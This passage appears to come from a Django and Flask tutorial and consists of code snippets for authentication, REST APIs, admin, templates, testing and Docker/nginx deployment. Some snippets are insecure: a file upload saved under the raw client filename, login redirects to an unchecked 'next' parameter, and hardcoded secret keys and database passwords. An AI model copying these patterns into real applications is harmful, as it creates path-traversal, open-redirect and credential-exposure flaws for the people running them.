            messages.success(request, f'Welcome back, {user.username}!')
            return redirect('home')
        else:
            messages.error(request, 'Invalid username or password')

    return render(request, 'registration/login.html')

def user_logout(request):
    logout(request)
    messages.info(request, 'You have been logged out')
    return redirect('login')

def user_register(request):
    if request.method == 'POST':
        form = UserCreationForm(request.POST)
        if form.is_valid():
            user = form.save()
            login(request, user)
            messages.success(request, 'Registration successful!')
            return redirect('home')
    else:
        form = UserCreationForm()

    return render(request, 'registration/register.html', {'form': form})

from django.contrib.auth.models import AbstractUser
from django.db import models

class CustomUser(AbstractUser):
    email = models.EmailField(unique=True)
    bio = models.TextField(blank=True)
    avatar = models.ImageField(upload_to='avatars/', blank=True)
    birth_date = models.DateField(null=True, blank=True)
    phone = models.CharField(max_length=20, blank=True)

    def __str__(self):
        return self.username

# In settings.py
AUTH_USER_MODEL = 'myapp.CustomUser'

from django.contrib.auth.decorators import login_required, permission_required
from django.contrib.auth.mixins import PermissionRequiredMixin

# Function-based view
@login_required
@permission_required('myapp.add_product', raise_exception=True)
def create_product(request):
    # View logic
    pass

# Class-based view
class ProductCreateView(LoginRequiredMixin, PermissionRequiredMixin, CreateView):
    model = Product
    permission_required = 'myapp.add_product'
    # View logic

# Custom permission
class Product(models.Model):
    # ... fields ...

    class Meta:
        permissions = [
            ("can_publish", "Can publish products"),
            ("can_feature", "Can feature products"),
        ]

# Check permission in code
if request.user.has_perm('myapp.can_publish'):
    # User has permission
    pass

pip install djangorestframework

# settings.py
INSTALLED_APPS = [
    # ...
    'rest_framework',
]

REST_FRAMEWORK = {
    'DEFAULT_AUTHENTICATION_CLASSES': [
        'rest_framework.authentication.TokenAuthentication',
        'rest_framework.authentication.SessionAuthentication',
    ],
    'DEFAULT_PERMISSION_CLASSES': [
        'rest_framework.permissions.IsAuthenticatedOrReadOnly',
    ],
    'DEFAULT_PAGINATION_CLASS': 'rest_framework.pagination.PageNumberPagination',
    'PAGE_SIZE': 10,
}

from rest_framework import serializers
from .models import Product, Category, Review

class CategorySerializer(serializers.ModelSerializer):
    product_count = serializers.IntegerField(read_only=True)

    class Meta:
        model = Category
        fields = ['id', 'name', 'slug', 'description', 'product_count']

class ProductSerializer(serializers.ModelSerializer):
    category = CategorySerializer(read_only=True)
    category_id = serializers.IntegerField(write_only=True)
    reviews_count = serializers.SerializerMethodField()
    average_rating = serializers.SerializerMethodField()

    class Meta:
        model = Product
        fields = [
            'id', 'name', 'slug', 'description', 'price',
            'category', 'category_id', 'image', 'status', 'stock',
            'reviews_count', 'average_rating', 'created_at'
        ]
        read_only_fields = ['slug', 'created_at']

    def get_reviews_count(self, obj):
        return obj.reviews.count()

    def get_average_rating(self, obj):
        reviews = obj.reviews.all()
        if reviews:
            return sum(r.rating for r in reviews) / len(reviews)
        return None

    def validate_price(self, value):
        if value < 0:
            raise serializers.ValidationError('Price cannot be negative')
        return value

class ReviewSerializer(serializers.ModelSerializer):
    user = serializers.StringRelatedField(read_only=True)

    class Meta:
        model = Review
        fields = ['id', 'user', 'rating', 'title', 'comment', 'created_at']
        read_only_fields = ['user', 'created_at']

from rest_framework import viewsets, filters, status
from rest_framework.decorators import action, api_view, permission_classes
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated, IsAuthenticatedOrReadOnly
from django_filters.rest_framework import DjangoFilterBackend
from .models import Product, Category
from .serializers import ProductSerializer, CategorySerializer

class ProductViewSet(viewsets.ModelViewSet):
    queryset = Product.objects.all()
    serializer_class = ProductSerializer
    permission_classes = [IsAuthenticatedOrReadOnly]
    filter_backends = [DjangoFilterBackend, filters.SearchFilter, filters.OrderingFilter]
    filterset_fields = ['category', 'status']
    search_fields = ['name', 'description']
    ordering_fields = ['price', 'created_at']
    lookup_field = 'slug'

    def perform_create(self, serializer):
        serializer.save(created_by=self.request.user)

    @action(detail=True, methods=['post'])
    def publish(self, request, slug=None):
        product = self.get_object()
        product.status = 'published'
        product.save()
        return Response({'status': 'product published'})

    @action(detail=False, methods=['get'])
    def featured(self, request):
        featured_products = self.queryset.filter(status='published', stock__gt=0)[:10]
        serializer = self.get_serializer(featured_products, many=True)
        return Response(serializer.data)

class CategoryViewSet(viewsets.ReadOnlyModelViewSet):
    queryset = Category.objects.annotate(product_count=Count('products'))
    serializer_class = CategorySerializer
    lookup_field = 'slug'

# Function-based API view
@api_view(['GET', 'POST'])
@permission_classes([IsAuthenticated])
def product_list_create(request):
    if request.method == 'GET':
        products = Product.objects.all()
        serializer = ProductSerializer(products, many=True)
        return Response(serializer.data)

    elif request.method == 'POST':
        serializer = ProductSerializer(data=request.data)
        if serializer.is_valid():
            serializer.save(created_by=request.user)
            return Response(serializer.data, status=status.HTTP_201_CREATED)
        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

from django.contrib import admin
from .models import Product, Category, Review, Order

admin.site.register(Category)
admin.site.register(Review)

from django.contrib import admin
from django.utils.html import format_html
from .models import Product, Order, OrderItem

@admin.register(Category)
class CategoryAdmin(admin.ModelAdmin):
    list_display = ['name', 'slug', 'product_count', 'created_at']
    prepopulated_fields = {'slug': ('name',)}
    search_fields = ['name']

    def product_count(self, obj):
        return obj.products.count()
    product_count.short_description = 'Products'

@admin.register(Product)
class ProductAdmin(admin.ModelAdmin):
    list_display = ['name', 'category', 'price', 'stock', 'status', 'image_preview', 'created_at']
    list_filter = ['status', 'category', 'created_at']
    search_fields = ['name', 'description']
    prepopulated_fields = {'slug': ('name',)}
    list_editable = ['price', 'stock', 'status']
    readonly_fields = ['created_at', 'updated_at', 'image_preview']
    fieldsets = (
        ('Basic Information', {
            'fields': ('name', 'slug', 'description', 'category')
        }),
        ('Pricing and Inventory', {
            'fields': ('price', 'stock', 'status')
        }),
        ('Media', {
            'fields': ('image', 'image_preview')
        }),
        ('Metadata', {
            'fields': ('created_by', 'created_at', 'updated_at'),
            'classes': ('collapse',)
        }),
    )

    def image_preview(self, obj):
        if obj.image:
            return format_html('<img src="{}" width="100" height="100" />', obj.image.url)
        return '-'
    image_preview.short_description = 'Preview'

class OrderItemInline(admin.TabularInline):
    model = OrderItem
    extra = 0
    readonly_fields = ['subtotal']

@admin.register(Order)
class OrderAdmin(admin.ModelAdmin):
    list_display = ['id', 'user', 'status', 'total_amount', 'created_at']
    list_filter = ['status', 'created_at']
    search_fields = ['user__username', 'user__email', 'tracking_number']
    inlines = [OrderItemInline]
    readonly_fields = ['created_at', 'updated_at']

    actions = ['mark_as_shipped']

    def mark_as_shipped(self, request, queryset):
        queryset.update(status='shipped')
    mark_as_shipped.short_description = 'Mark selected orders as shipped'

import time
import logging
from django.utils.deprecation import MiddlewareMixin

logger = logging.getLogger(__name__)

class RequestLoggingMiddleware(MiddlewareMixin):
    def process_request(self, request):
        request.start_time = time.time()

    def process_response(self, request, response):
        if hasattr(request, 'start_time'):
            duration = time.time() - request.start_time
            logger.info(f'{request.method} {request.path} - {response.status_code} - {duration:.2f}s')
        return response

class CustomHeaderMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        response = self.get_response(request)
        response['X-Custom-Header'] = 'My Custom Value'
        return response

# settings.py
STATIC_URL = '/static/'
STATIC_ROOT = BASE_DIR / 'staticfiles'
STATICFILES_DIRS = [
    BASE_DIR / 'static',
]

MEDIA_URL = '/media/'
MEDIA_ROOT = BASE_DIR / 'media'

# For production
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.ManifestStaticFilesStorage'

python manage.py collectstatic

from django.test import TestCase
from django.contrib.auth.models import User
from .models import Product, Category

class ProductModelTest(TestCase):
    def setUp(self):
        self.user = User.objects.create_user(username='testuser', password='12345')
        self.category = Category.objects.create(name='Electronics', slug='electronics')
        self.product = Product.objects.create(
            name='Laptop',
            slug='laptop',
            description='A great laptop',
            price=999.99,
            category=self.category,
            stock=10,
            created_by=self.user
        )

    def test_product_creation(self):
        self.assertEqual(self.product.name, 'Laptop')
        self.assertEqual(self.product.price, 999.99)

    def test_product_is_available(self):
        self.product.status = 'published'
        self.assertTrue(self.product.is_available)

    def test_product_str(self):
        self.assertEqual(str(self.product), 'Laptop')

class ProductViewTest(TestCase):
    def setUp(self):
        self.user = User.objects.create_user(username='testuser', password='12345')
        self.category = Category.objects.create(name='Electronics', slug='electronics')
        self.product = Product.objects.create(
            name='Laptop',
            slug='laptop',
            description='A great laptop',
            price=999.99,
            category=self.category,
            status='published',
            stock=10,
            created_by=self.user
        )

    def test_product_list_view(self):
        response = self.client.get('/products/')
        self.assertEqual(response.status_code, 200)
        self.assertContains(response, 'Laptop')
        self.assertTemplateUsed(response, 'products/list.html')

    def test_product_detail_view(self):
        response = self.client.get(f'/products/{self.product.slug}/')
        self.assertEqual(response.status_code, 200)
        self.assertContains(response, self.product.name)

    def test_product_create_requires_login(self):
        response = self.client.get('/products/create/')
        self.assertEqual(response.status_code, 302)

    def test_product_create_authenticated(self):
        self.client.login(username='testuser', password='12345')
        response = self.client.post('/products/create/', {
            'name': 'New Product',
            'slug': 'new-product',
            'description': 'Description',
            'price': 99.99,
            'category': self.category.id,
            'stock': 5,
            'status': 'draft'
        })
        self.assertEqual(response.status_code, 302)
        self.assertTrue(Product.objects.filter(name='New Product').exists())

# settings/
# ├── __init__.py
# ├── base.py
# ├── development.py
# ├── production.py
# └── testing.py

# base.py - Common settings
# development.py
from .base import *

DEBUG = True
ALLOWED_HOSTS = ['localhost', '127.0.0.1']

# production.py
from .base import *

DEBUG = False
ALLOWED_HOSTS = config('ALLOWED_HOSTS').split(',')

from decouple import config

SECRET_KEY = config('SECRET_KEY')
DEBUG = config('DEBUG', default=False, cast=bool)
DATABASE_URL = config('DATABASE_URL')

# Use select_related for foreign keys
products = Product.objects.select_related('category').all()

# Use prefetch_related for many-to-many and reverse foreign keys
products = Product.objects.prefetch_related('reviews').all()

# Only get needed fields
products = Product.objects.values('id', 'name', 'price')

# Use iterator for large querysets
for product in Product.objects.iterator():
    # Process product
    pass

# settings.py
SECURE_SSL_REDIRECT = True
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
SECURE_BROWSER_XSS_FILTER = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = 'DENY'

# Use Django's CSRF protection
# Always validate and sanitize user input
# Use parameterized queries (Django ORM does this by default)

pip freeze > requirements.txt

Django==4.2.7
psycopg2-binary==2.9.9
python-decouple==3.8
Pillow==10.1.0
gunicorn==21.2.0
django-cors-headers==4.3.1
djangorestframework==3.14.0

bind = '0.0.0.0:8000'
workers = 4
threads = 2
worker_class = 'sync'
worker_connections = 1000
timeout = 30
keepalive = 2
accesslog = '-'
errorlog = '-'
loglevel = 'info'

FROM python:3.11-slim

ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

RUN python manage.py collectstatic --noinput

EXPOSE 8000

CMD ["gunicorn", "--config", "gunicorn.conf.py", "myproject.wsgi:application"]

version: '3.8'

services:
  web:
    build: .
    command: gunicorn myproject.wsgi:application --bind 0.0.0.0:8000
    volumes:
      - ./:/app
      - static_volume:/app/staticfiles
      - media_volume:/app/media
    ports:
      - "8000:8000"
    env_file:
      - .env
    depends_on:
      - db

  db:
    image: postgres:15-alpine
    volumes:
      - postgres_data:/var/lib/postgresql/data
    environment:
      - POSTGRES_DB=mydb
      - POSTGRES_USER=postgres
      - POSTGRES_PASSWORD=password

  nginx:
    image: nginx:alpine
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
      - static_volume:/app/staticfiles
      - media_volume:/app/media
    ports:
      - "80:80"
    depends_on:
      - web

volumes:
  postgres_data:
  static_volume:
  media_volume:

upstream django {
    server web:8000;
}

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://django;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location /static/ {
        alias /app/staticfiles/;
    }

    location /media/ {
        alias /app/media/;
    }
}

# Python 3.7+ required
python3 --version
pip --version

# Create virtual environment
python3 -m venv venv

# Activate virtual environment
# Linux/Mac:
source venv/bin/activate
# Windows:
# venv\Scripts\activate

# Upgrade pip
pip install --upgrade pip

# Install Flask
pip install Flask

# Install common extensions
pip install Flask-SQLAlchemy Flask-Migrate Flask-Login Flask-WTF
pip install Flask-CORS Flask-JWT-Extended python-dotenv

flask-app/
├── app/
│   ├── __init__.py
│   ├── models.py
│   ├── routes.py
│   ├── forms.py
│   ├── templates/
│   │   ├── base.html
│   │   └── index.html
│   ├── static/
│   │   ├── css/
│   │   ├── js/
│   │   └── images/
│   └── blueprints/
│       ├── auth/
│       └── api/
├── tests/
│   └── test_routes.py
├── migrations/
├── config.py
├── .env
├── .flaskenv
├── requirements.txt
└── run.py

from flask import Flask

app = Flask(__name__)

@app.route('/')
def hello():
    return 'Hello, World!'

if __name__ == '__main__':
    app.run(debug=True)

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager
from config import Config

db = SQLAlchemy()
migrate = Migrate()
login_manager = LoginManager()

def create_app(config_class=Config):
    app = Flask(__name__)
    app.config.from_object(config_class)

    # Initialize extensions
    db.init_app(app)
    migrate.init_app(app, db)
    login_manager.init_app(app)
    login_manager.login_view = 'auth.login'

    # Register blueprints
    from app.blueprints.auth import auth_bp
    from app.blueprints.main import main_bp
    from app.blueprints.api import api_bp

    app.register_blueprint(auth_bp, url_prefix='/auth')
    app.register_blueprint(main_bp)
    app.register_blueprint(api_bp, url_prefix='/api')

    return app

from app import models

import os
from dotenv import load_dotenv

basedir = os.path.abspath(os.path.dirname(__file__))
load_dotenv(os.path.join(basedir, '.env'))

class Config:
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'dev-secret-key'
    SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or \
        'sqlite:///' + os.path.join(basedir, 'app.db')
    SQLALCHEMY_TRACK_MODIFICATIONS = False

    # File upload settings
    UPLOAD_FOLDER = os.path.join(basedir, 'uploads')
    MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 16MB max file size

class DevelopmentConfig(Config):
    DEBUG = True

class ProductionConfig(Config):
    DEBUG = False

class TestingConfig(Config):
    TESTING = True
    SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'

from app import create_app, db
from app.models import User, Post

app = create_app()

@app.shell_context_processor
def make_shell_context():
    return {'db': db, 'User': User, 'Post': Post}

if __name__ == '__main__':
    app.run(debug=True)

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Home Page'

@app.route('/about')
def about():
    return 'About Page'

# Route with variable
@app.route('/user/<username>')
def show_user(username):
    return f'User: {username}'

# Route with type converter
@app.route('/post/<int:post_id>')
def show_post(post_id):
    return f'Post ID: {post_id}'

# Route with multiple types
@app.route('/path/<path:subpath>')
def show_subpath(subpath):
    return f'Subpath: {subpath}'

from flask import request, jsonify

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        # Process login
        return {'message': 'Login successful'}
    return 'Login form'

# Separate methods
@app.get('/users')
def get_users():
    return jsonify([])

@app.post('/users')
def create_user():
    data = request.get_json()
    return jsonify(data), 201

@app.put('/users/<int:id>')
def update_user(id):
    data = request.get_json()
    return jsonify(data)

@app.delete('/users/<int:id>')
def delete_user(id):
    return '', 204

from flask import url_for, redirect

@app.route('/admin')
def admin():
    return 'Admin Page'

@app.route('/redirect-to-admin')
def redirect_to_admin():
    return redirect(url_for('admin'))

@app.route('/user/<username>')
def profile(username):
    return f'Profile: {username}'

# Generate URL
with app.test_request_context():
    print(url_for('admin'))  # /admin
    print(url_for('profile', username='john'))  # /user/john
    print(url_for('static', filename='style.css'))  # /static/style.css

from flask import request, jsonify

@app.route('/search')
def search():
    # Query parameters
    query = request.args.get('q', '')
    page = request.args.get('page', 1, type=int)

    return f'Searching for: {query}, Page: {page}'

@app.route('/submit', methods=['POST'])
def submit():
    # Form data
    name = request.form.get('name')
    email = request.form.get('email')

    # JSON data
    if request.is_json:
        data = request.get_json()
        name = data.get('name')
        email = data.get('email')

    # Files
    if 'file' in request.files:
        file = request.files['file']
        if file.filename:
            file.save(f'uploads/{file.filename}')

    # Headers
    user_agent = request.headers.get('User-Agent')
    auth_token = request.headers.get('Authorization')

    # Cookies
    session_id = request.cookies.get('session_id')

    return jsonify({
        'name': name,
        'email': email,
        'user_agent': user_agent
    })

from flask import make_response, jsonify, render_template, send_file

@app.route('/json')
def json_response():
    return jsonify({
        'status': 'success',
        'data': {'id': 1, 'name': 'John'}
    })

@app.route('/custom')
def custom_response():
    response = make_response('Custom response', 200)
    response.headers['X-Custom-Header'] = 'Value'
    response.set_cookie('user_id', '123', max_age=3600)
    return response

@app.route('/download')
def download():
    return send_file('path/to/file.pdf', as_attachment=True)

@app.route('/stream')
def stream():
    def generate():
        for i in range(10):
            yield f'data: {i}\n\n'

    return app.response_class(generate(), mimetype='text/event-stream')

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{% block title %}My App{% endblock %}</title>
    <link rel="stylesheet" href="{{ url_for('static', filename='css/style.css') }}">
    {% block extra_css %}{% endblock %}
</head>
<body>
    <nav>
        <a href="{{ url_for('index') }}">Home</a>
        {% if current_user.is_authenticated %}
            <a href="{{ url_for('profile') }}">Profile</a>
            <a href="{{ url_for('logout') }}">Logout</a>
        {% else %}
            <a href="{{ url_for('login') }}">Login</a>
            <a href="{{ url_for('register') }}">Register</a>
        {% endif %}
    </nav>

    <main>
        {% with messages = get_flashed_messages(with_categories=true) %}
            {% if messages %}
                {% for category, message in messages %}
                    <div class="alert alert-{{ category }}">{{ message }}</div>
                {% endfor %}
            {% endif %}
        {% endwith %}

        {% block content %}{% endblock %}
    </main>

    <footer>
        <p>&copy; 2024 My App</p>
    </footer>

    <script src="{{ url_for('static', filename='js/main.js') }}"></script>
    {% block extra_js %}{% endblock %}
</body>
</html>

{% extends 'base.html' %}

{% block title %}Home - {{ super() }}{% endblock %}

{% block content %}
<h1>Welcome to {{ app_name }}</h1>

{% if users %}
    <ul>
    {% for user in users %}
        <li>
            <a href="{{ url_for('show_user', username=user.username) }}">
                {{ user.username }}
            </a>
            {% if user.is_admin %}
                <span class="badge">Admin</span>
            {% endif %}
        </li>
    {% endfor %}
    </ul>
{% else %}
    <p>No users found.</p>
{% endif %}

<!-- Macros -->
{% macro render_user(user) %}
    <div class="user-card">
        <h3>{{ user.username }}</h3>
        <p>{{ user.email }}</p>
    </div>
{% endmacro %}

{% for user in users %}
    {{ render_user(user) }}
{% endfor %}
{% endblock %}

from flask import Flask
from datetime import datetime

app = Flask(__name__)

@app.template_filter('datetimeformat')
def datetimeformat(value, format='%Y-%m-%d %H:%M'):
    return value.strftime(format)

@app.template_filter('currency')
def currency(value):
    return f'${value:,.2f}'

@app.context_processor
def utility_processor():
    def format_price(amount):
        return f'${amount:,.2f}'

    return dict(format_price=format_price)

# Usage in template:
# {{ order.created_at|datetimeformat }}
# {{ product.price|currency }}
# {{ format_price(100.50) }}

from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, TextAreaField, SelectField, BooleanField
from wtforms.validators import DataRequired, Email, Length, EqualTo, ValidationError
from app.models import User

class RegistrationForm(FlaskForm):
    username = StringField('Username',
                         validators=[DataRequired(), Length(min=3, max=20)])
    email = StringField('Email',
                       validators=[DataRequired(), Email()])
    password = PasswordField('Password',
                           validators=[DataRequired(), Length(min=8)])
    confirm_password = PasswordField('Confirm Password',
                                   validators=[DataRequired(), EqualTo('password')])

    def validate_username(self, username):
        user = User.query.filter_by(username=username.data).first()
        if user:
            raise ValidationError('Username already exists')

    def validate_email(self, email):
        user = User.query.filter_by(email=email.data).first()
        if user:
            raise ValidationError('Email already registered')

class LoginForm(FlaskForm):
    email = StringField('Email', validators=[DataRequired(), Email()])
    password = PasswordField('Password', validators=[DataRequired()])
    remember = BooleanField('Remember Me')

class PostForm(FlaskForm):
    title = StringField('Title', validators=[DataRequired(), Length(max=100)])
    content = TextAreaField('Content', validators=[DataRequired()])
    category = SelectField('Category', coerce=int)

    def __init__(self, *args, **kwargs):
        super(PostForm, self).__init__(*args, **kwargs)
        from app.models import Category
        self.category.choices = [(c.id, c.name) for c in Category.query.all()]

from flask import render_template, redirect, url_for, flash
from app import db
from app.forms import RegistrationForm, LoginForm
from app.models import User

@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()

    if form.validate_on_submit():
        user = User(username=form.username.data, email=form.email.data)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()

        flash('Registration successful!', 'success')
        return redirect(url_for('login'))

    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()

    if form.validate_on_submit():
        user = User.query.filter_by(email=form.email.data).first()

        if user and user.check_password(form.password.data):
            login_user(user, remember=form.remember.data)
            flash('Login successful!', 'success')

            next_page = request.args.get('next')
            return redirect(next_page) if next_page else redirect(url_for('index'))

        flash('Invalid email or password', 'danger')

    return render_template('login.html', form=form)

{% extends 'base.html' %}

{% block content %}
<h2>Register</h2>
<form method="POST" novalidate>
    {{ form.hidden_tag() }}

    <div class="form-group">
        {{ form.username.label }}
        {{ form.username(class='form-control') }}
        {% if form.username.errors %}
            <div class="errors">
                {% for error in form.username.errors %}
                    <span>{{ error }}</span>
                {% endfor %}
            </div>
        {% endif %}
    </div>

    <div class="form-group">
        {{ form.email.label }}
        {{ form.email(class='form-control') }}
        {% if form.email.errors %}
            <div class="errors">
                {% for error in form.email.errors %}
                    <span>{{ error }}</span>
                {% endfor %}
            </div>
        {% endif %}
    </div>

    <div class="form-group">
        {{ form.password.label }}
        {{ form.password(class='form-control') }}
        {% if form.password.errors %}
            <div class="errors">
                {% for error in form.password.errors %}
                    <span>{{ error }}</span>
                {% endfor %}
            </div>
        {% endif %}
    </div>

    <div class="form-group">
        {{ form.confirm_password.label }}
        {{ form.confirm_password(class='form-control') }}
    </div>

    <button type="submit" class="btn btn-primary">Register</button>
</form>
{% endblock %}

from app import db, login_manager
from datetime import datetime
from werkzeug.security import generate_password_hash, check_password_hash
from flask_login import UserMixin

@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False, index=True)
    email = db.Column(db.String(120), unique=True, nullable=False, index=True)
    password_hash = db.Column(db.String(128))
    created_at = db.Column(db.DateTime, default=datetime.utcnow)
    posts = db.relationship('Post', backref='author', lazy='dynamic')

    def set_password(self, password):
        self.password_hash = generate_password_hash(password)

    def check_password(self, password):
        return check_password_hash(self.password_hash, password)

    def __repr__(self):
        return f'<User {self.username}>'

class Post(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    title = db.Column(db.String(100), nullable=False)
    content = db.Column(db.Text, nullable=False)
    slug = db.Column(db.String(120), unique=True, index=True)
    published = db.Column(db.Boolean, default=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow)
    updated_at = db.Column(db.DateTime, default=datetime.utcnow, onupdate=datetime.utcnow)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    category_id = db.Column(db.Integer, db.ForeignKey('category.id'))

    def __repr__(self):
        return f'<Post {self.title}>'

class Category(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(50), unique=True, nullable=False)
    posts = db.relationship('Post', backref='category', lazy=True)

from app import db
from app.models import User, Post

# Create
user = User(username='john', email='john@example.com')
user.set_password('password123')
db.session.add(user)
db.session.commit()

# Read
users = User.query.all()
user = User.query.filter_by(username='john').first()
user = User.query.get(1)
posts = Post.query.filter_by(published=True).order_by(Post.created_at.desc()).all()

# Update
user = User.query.get(1)
user.email = 'newemail@example.com'
db.session.commit()

# Delete
user = User.query.get(1)
db.session.delete(user)
db.session.commit()

# Complex queries
from sqlalchemy import or_, and_

posts = Post.query.filter(
    or_(
        Post.title.like('%python%'),
        Post.content.like('%python%')
    ),
    Post.published == True
).all()

# Pagination
page = request.args.get('page', 1, type=int)
posts = Post.query.order_by(Post.created_at.desc()).paginate(
    page=page, per_page=10, error_out=False
)

# Initialize migrations
flask db init

# Create migration
flask db migrate -m "Add user table"

# Apply migration
flask db upgrade

# Rollback
flask db downgrade

from flask_login import LoginManager, login_user, logout_user, login_required, current_user
from app import app, db
from app.models import User

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'
login_manager.login_message = 'Please log in to access this page.'

@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(email=form.email.data).first()

        if user and user.check_password(form.password.data):
            login_user(user, remember=form.remember.data)
            next_page = request.args.get('next')
            return redirect(next_page) if next_page else redirect(url_for('index'))

        flash('Invalid email or password', 'danger')

    return render_template('login.html', form=form)

@app.route('/logout')
@login_required
def logout():
    logout_user()
    flash('You have been logged out', 'info')
    return redirect(url_for('index'))

@app.route('/profile')
@login_required
def profile():
    return render_template('profile.html', user=current_user)

from flask_jwt_extended import JWTManager, create_access_token, jwt_required, get_jwt_identity

app.config['JWT_SECRET_KEY'] = 'your-secret-key'
jwt = JWTManager(app)

@app.route('/api/auth/login', methods=['POST'])
def api_login():
    data = request.get_json()
    email = data.get('email')
    password = data.get('password')

    user = User.query.filter_by(email=email).first()

    if user and user.check_password(password):
        access_token = create_access_token(identity=user.id)
        return jsonify(access_token=access_token), 200

    return jsonify({'message': 'Invalid credentials'}), 401

@app.route('/api/protected', methods=['GET'])
@jwt_required()
def protected():
    current_user_id = get_jwt_identity()
    user = User.query.get(current_user_id)
    return jsonify(username=user.username), 200

from flask import Flask
from flask_restful import Resource, Api, reqparse, fields, marshal_with
from app import db
from app.models import Post

app = Flask(__name__)
api = Api(app)

# Request parser
post_parser = reqparse.RequestParser()
post_parser.add_argument('title', type=str, required=True, help='Title is required')
post_parser.add_argument('content', type=str, required=True)
post_parser.add_argument('category_id', type=int)

# Resource fields for serialization
post_fields = {
    'id': fields.Integer,
    'title': fields.String,
    'content': fields.String,
    'created_at': fields.DateTime(dt_format='iso8601'),
    'author': fields.Nested({
        'id': fields.Integer,
        'username': fields.String
    })
}

class PostListAPI(Resource):
    @marshal_with(post_fields)
    def get(self):
        posts = Post.query.all()
        return posts

    @marshal_with(post_fields)
    def post(self):
        args = post_parser.parse_args()
        post = Post(
            title=args['title'],
            content=args['content'],
            user_id=current_user.id,
            category_id=args.get('category_id')
        )
        db.session.add(post)
        db.session.commit()
        return post, 201

class PostAPI(Resource):
    @marshal_with(post_fields)
    def get(self, post_id):
        post = Post.query.get_or_404(post_id)
        return post

    @marshal_with(post_fields)
    def put(self, post_id):
        post = Post.query.get_or_404(post_id)
        args = post_parser.parse_args()
        post.title = args['title']
        post.content = args['content']
        db.session.commit()
        return post

    def delete(self, post_id):
        post = Post.query.get_or_404(post_id)
        db.session.delete(post)
        db.session.commit()
        return '', 204

api.add_resource(PostListAPI, '/api/posts')
api.add_resource(PostAPI, '/api/posts/<int:post_id>')

from flask import Blueprint

auth_bp = Blueprint('auth', __name__)

from app.blueprints.auth import routes

from flask import render_template, redirect, url_for, flash, request
from flask_login import login_user, logout_user, login_required
from app.blueprints.auth import auth_bp
from app import db
from app.models import User
from app.forms import LoginForm, RegistrationForm

@auth_bp.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(email=form.email.data).first()
        if user and user.check_password(form.password.data):
            login_user(user, remember=form.remember.data)
            return redirect(url_for('main.index'))
        flash('Invalid credentials', 'danger')
    return render_template('auth/login.html', form=form)

@auth_bp.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('main.index'))

@auth_bp.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, email=form.email.data)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('Registration successful!', 'success')
        return redirect(url_for('auth.login'))
    return render_template('auth/register.html', form=form)

def create_app():
    app = Flask(__name__)

    # Register blueprints
    from app.blueprints.auth import auth_bp
    from app.blueprints.main import main_bp
    from app.blueprints.api import api_bp

    app.register_blueprint(auth_bp, url_prefix='/auth')
    app.register_blueprint(main_bp)
    app.register_blueprint(api_bp, url_prefix='/api')

    return app

from flask import render_template, jsonify

@app.errorhandler(404)
def not_found_error(error):
    if request.path.startswith('/api/'):
        return jsonify({'error': 'Not found'}), 404
    return render_template('errors/404.html'), 404

@app.errorhandler(500)
def internal_error(error):
    db.session.rollback()
    if request.path.startswith('/api/'):
        return jsonify({'error': 'Internal server error'}), 500
    return render_template('errors/500.html'), 500

@app.errorhandler(403)
def forbidden_error(error):
    return jsonify({'error': 'Forbidden'}), 403

# Custom exception
class ValidationError(Exception):
    pass

@app.errorhandler(ValidationError)
def handle_validation_error(error):
    return jsonify({'error': str(error)}), 400

import os
from werkzeug.utils import secure_filename
from flask import request, flash, redirect, url_for

ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/upload', methods=['GET', 'POST'])
@login_required
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part', 'danger')
